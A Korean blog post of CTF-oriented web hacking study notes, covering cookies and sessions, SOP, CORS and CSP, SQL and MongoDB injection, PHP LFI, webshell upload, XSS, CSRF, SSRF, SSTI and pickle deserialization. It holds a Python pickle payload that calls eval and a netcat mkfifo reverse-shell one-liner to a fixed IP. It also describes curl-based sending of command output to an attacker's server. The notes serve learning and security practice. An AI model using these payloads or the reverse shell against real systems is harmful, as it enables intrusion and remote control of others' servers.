Web

 

프록시

- basic으로 가끔 다룸

- 전달 request 잡아서 header/data 변조 하여 필터링 우회

 

세션 쿠키

- ID/PW를 모르더라도 세션을 알 수 있으면 Edit cookie로 로그인 能

- 짧고 범위가 한정되어 있을 경우 BF 공격 적극 활용

- 쿠키는 데이터 자체를 이용자가 저장하며, 세션은 서버가 저장한다는 핵심적인 차이가 있다

- 쿠키 : HTTP에서 상태를 유지하기 위해 사용하는 Key-Value 형태의 값

- 세션 : 쿠키에 포함된 Session ID를 사용해 서버에 저장된 세션 데이터에 접근하는 방식

 

NoSQL(NOT Only SQL)

- SQL을 사용하지 않고 복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 매우 최적화된 저장 공간인 것이 큰 특징

- Redis, Dynamo, CouchDB, MongoDB 등 다양

 

SOP (Same Origin Policy)

- 클라이언트에서 악의적인 페이지 차단

- Same Origin 일 때만 통과 Cross Origin이면 차단

 

CORS(Cross Origin Resource Sharing)

- 웹 서비스에서 동일 출처 정책인 SOP를 완화하여 다른 출처의 데이터를 처리해야 하는 상황 有

- ex) cafe.dreamhack.io / blog.dreamhack.io / mail.dreamhack.io

- 교차 출처의 자원을 공유하는 방법은 CORS와 관련된 HTTP 헤더를 추가하여 전송하는 방법 사용

- 이 외에도 JSON with Padding (JSONP) 방법을 통해 CORS를 대체 能

 

CSP(Content Security Policy)

- 웹 보안 정책 중 하나

- XSS 등 웹페이지에 악성 스크립트를 삽입하는 공격기법들을 막기 위해 사용

- 헤더에 "Content-Security-Policy:*" 삽입하여 허용된 범위 내의 동작인지 필터링한다

- default-src= , script-src= 등 값을 줄 수 있다

- script-src=nonce-EDNnf03nceIOfn39fn3e9h3sdfa

- 위와 같이 특정 function 사용을 가능하게 할 수 있다

- 참고) https://simjaejin.tistory.com/31

 

Mysql SQLi 

- " 필터링 안되어있으면 강제로 닫아서 쿼리 조작 能

- group_concat(), substr(), select 1 union select 2 기억

 

mongoDB SQLi

- $ne, $gt, $lt, $regex 등 활용하여 공격 能

 

PHP include 취약점

- include로 php 코드를 실행한다

- 이때, 실행하는 파일의 확장자를 check 하지 않는다

 

PHP LFI(Local File Inclusion) 취약점

- include 에 특정 파일 전달하여 읽어내는 취약점

- default로 막혀있으나 PHP Wrappers로 우회 가능

- php://filter 등 여러개 존재

- 주석까지 확인할 때 convert.base64-encode 활용

- 파일업로드 서비스가 없어도 세션의 형태로 저장시켜 LFI로 실행시키는 공격도 能

 

File Download

- 파일을 다운로드시키거나 출력해주는 서비스에서 상대/절대 주소 조작하여 권한없는 파일 접근 能

 

File Upload

- webshell을 서버에 업로드 후 위치를 알아내서 브라우저에서 실행하면 명령어 실행 能

- 확장자 필터링을 자주 우회한다

- [Tomcat] tomcat-users.xml / manager-gui / ID&PW info included

    - TWAM(Tomcat Web Application Manager) 페이지로 접속하여 파일업로드 가능

 

XSS & CSRF 차이

- 공통점 : 두 개의 취약점은 모두 클라이언트를 대상으로 하는 공격이며, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 한다

- 차이점 : 두 개의 취약점은 공격에 있어 서로 다른 목적을 가진다. XSS는 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격이며, 공격할 사이트의 오리진에서 스크립트를 실행한다. CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격이다. 또한, 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있다.

 

Stored XSS

- 의도하지 않은 <sciprt>를 실행시키게 하는 client 공격

- <script> 필터 시 <img src="" onerror=""> 등 우회 기법 有

 

CSRF(Cross-Site Request Forgery)

- XSS 공격 벡터로 특정 권한을 가진 사람만 할 수 있는 행위를 하게끔 유도

 

Command Injection

- 특정 명령어를 서버에서 실행시켜주는 서비스가 존재할 때, 입력 값으로 원하는 다른 명령어를 실행

 

SSRF(Server-side Request Forgery)

- 웹 서비스의 요청을 변조하는 취약점, 브라우저가 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청을 보낼 수 있다

- 최근의 대다수의 서비스들은 마이크로서비스로 구조를 많이 바꾸고, 새롭게 개발하는 추세이기 때문에 SSRF 취약점의 파급력이 더욱 높아지고 있다

- internal 에서만 구동가능한 서비스를 requests.get, requests.post 내의 인자를 변조하여 외부의 실행도 가능해질 수 있다

 

SSTI(Server Side Template Injection)

- '''%s''' % (request.path)와 같이 입력 값을 줄 수 있을 때 {{ }} 로 묶으면 단순 문자열이 아닌 코드 입력 가능

- test : {{7*7}}

- {{config.items}} 출력 가능

- 조금 다르긴 하지만 마치 FSB? printf(buf); -> 입력값으로 %p %p %x %x

 

JS 해킹문제

- 워게임/CTF 단골손님

- 난독화 코드 해석 & 브라우저 breakpoint 디버깅 & console 실행 등 접근

- remember toString()

 

PHP

- "==", "===", (strcmp 배열 vs 문자열 return 0)

 

Curl

- 가장 널리 사용하는 인터넷 데이터 전송을 위한 도구

- GET / POST 등 request를 제작하여 전송이 가능하다

- 타겟서버의 명령어를 실행할 수 있지만, 결과를 확인할 수 없을 때 유용하게 사용 가능하다

- 서버를 하나 열어두고 명령어 실행 결과를 서버로 전송하게 하여 확인이 가능하다

- 참고) https://nitw.tistory.com/131

 

Python Pickle

- 텍스트 상태의 데이터가 아닌 파이썬 객체 자체를 파이너리 파일로 저장하는 것

- create pickle session과 check pickle session 등 활용 가능 (dumps/loads)

 

Python pickle deserialize Vuln

- 복호화할 때 사용하는 pickle의 object.__reduce__() 메소드 취약점

- __reduce() 메소드는 파이썬 객체 계층 구조를 unpickling 할 때, 객체를 재구성하는 것에 대한 tuple을 변환

- 호출 가능한 객체에 eval 혹은 os 와 같이 명령어를 실행할 수 있는 클래스를 임의로 지정하면 RCE 가능

- example python code)

import pickle, base64

class vuln:
	def __reduce__(self):
    	p="open('./flag.txt').read()"
        return (eval,(p,))
        
rs={'name': vuln()}
print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))

- 참고) https://hoppipolla0507.tistory.com/22

 

Reverse shell

- RCE를 얻었을 경우 Reverse shell로 shell을 획득한 후 추가 공격을 진행해야하는 case가 종종 있다

- privilege escalation

- -e, -c 옵션을 사용하는 case가 많지만 옵션이 없어도 아래 명령어 사용가능

- "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 9001 >/tmp/f"

- 참고) https://www.revshells.com/

 

Tips

※ 함수 사용 시 () 등 오탈자를 잘 보고, 그로 인한 문제점을 잘 고려해보자

※ online IDE가 잘되어있으니, 적극 활용하자

※ robots.txt check

'Hacking Studies' 카테고리의 다른 글

HACKINGCAMP 24th 후기  (0) 2022.02.19
앱 해킹백과  (0) 2022.01.24
DOM Based XSS  (0) 2021.08.09
OllyDBG에서 많이 사용하는 단축키  (0) 2021.08.06
[SQL INJECTION] where and or 기준 정리  (0) 2021.03.18

+ Recent posts